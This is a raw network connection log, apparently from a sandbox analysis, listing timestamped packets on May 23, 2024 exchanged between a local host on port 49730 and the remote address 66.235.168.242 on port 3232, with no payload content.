May 23, 2024 13:53:48.460989952 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.461029053 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.461150885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.461774111 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.461811066 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.461916924 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.462552071 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.462591887 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.463366032 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.463387012 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.463419914 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.463527918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.463850021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.463886023 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.464384079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.465863943 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.465912104 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.468652010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.468673944 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.468713045 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.502521992 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.502609968 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.508622885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.508793116 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.508841038 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.509114027 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.509486914 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.509536982 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.509881020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.510237932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.510281086 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.510590076 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.510938883 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.510987043 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.512681007 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.512702942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.512722015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.512739897 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.512799978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.512820005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.512840986 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.516382933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.516428947 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.516999006 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.517179012 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.517216921 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.517467976 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.517776966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.517797947 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.517811060 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.519113064 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519141912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519155979 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.519243956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519264936 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519282103 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.519289970 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519321918 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.519571066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519927025 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.519961119 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.520220995 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.520844936 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.520879030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.520987988 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.521414042 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.521450043 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.521707058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527144909 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527159929 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527216911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.527241945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527262926 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527276993 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.527290106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527319908 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.527883053 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527904987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527924061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527944088 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.527951002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.527988911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.529191017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.534619093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.534672022 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.534858942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.535134077 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.535168886 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.535511971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.535877943 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.535924911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.536257029 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.536643982 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.536675930 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.536992073 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.537349939 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.537384987 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.537736893 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.537759066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.537791014 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.538065910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.539568901 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.539618015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.574925900 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.574980974 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.581880093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.582834959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.582876921 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.583019018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.583332062 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.583374977 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.583774090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.584094048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.584134102 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.584784985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.584808111 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.584846020 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.584918976 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.585570097 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.585609913 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.585741997 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.586627007 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.586688995 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.586705923 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.586971998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.587024927 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.587238073 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.590105057 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.590157986 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.590213060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.590738058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.590760946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.590780020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.590792894 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.590821028 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.591392994 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.591861963 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.591905117 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.591993093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.592012882 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.592031956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.592047930 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.592628002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.592648983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.592667103 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.593157053 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.593195915 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.593585014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.593638897 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.593661070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.593712091 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.594198942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.594243050 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.594538927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.598829031 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.598882914 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.599096060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.599267960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.599307060 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.599556923 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.599863052 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.599883080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.599904060 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.600438118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.600538969 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.603631020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.603653908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.603703976 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.637945890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.638084888 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.661556959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.662014008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.662076950 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.662205935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.662601948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.662652969 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.662672043 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.663450956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.663491964 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.663666964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.664242983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.664283991 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.664469004 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.665128946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.665174961 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.665357113 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.666975021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.666996956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.667015076 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.667026043 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.667056084 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.667073011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.667359114 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.667399883 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.667613983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.668540001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.668581009 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.668900013 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.669869900 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.669897079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.669908047 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.670248985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.670289040 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.670428038 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.671058893 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.671099901 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.672348022 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.672383070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.672421932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.672933102 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.673089981 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.673134089 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.673561096 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.674772978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.674815893 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.674868107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.676871061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.676889896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.676913977 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.677365065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.677406073 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.679297924 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.679378986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.679419041 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.679698944 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.679718971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.679738998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.679753065 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.680577993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.680622101 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.680849075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.680867910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.680907011 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.682629108 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.726555109 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.743566036 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.743645906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.743783951 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.743841887 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.743889093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.743933916 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.744446039 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.744820118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.744882107 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.745172024 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.745553970 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.745599985 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.745620012 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.746289968 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.746345997 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.746361017 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.746697903 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.746757030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.747001886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.747386932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.747435093 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.747724056 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.748127937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.748176098 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.748461962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.748943090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.749001980 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.749865055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.749978065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.750030994 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.750257015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.750580072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.750624895 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.750849962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.751135111 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.751176119 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.751405001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.751763105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.751806974 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.752609968 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.752657890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.752716064 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.752753019 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.753359079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.753411055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.753528118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.754370928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.754576921 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.754812002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.755157948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.755211115 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.755402088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.755734921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.755788088 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.756077051 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.756545067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.756591082 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.756899118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.757976055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.758037090 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.759138107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.759186029 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.759229898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.759478092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.761017084 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.761070013 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.761113882 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.762027979 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.762077093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.762099028 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.763242960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.763284922 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.763442993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.763855934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.763895988 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.764163017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.765131950 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.765192032 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.765311956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.766212940 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.766254902 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.766411066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.766938925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.766978979 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.767086983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.767693996 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.767735958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.768492937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.768512964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.768554926 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.768696070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.769049883 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.769089937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.769349098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.770015001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.770055056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.770211935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.771034002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.771074057 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.773853064 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.773873091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.773907900 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.809890985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.809995890 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.816250086 CEST	3232	49730	66.235.168.242	192.168.2.4
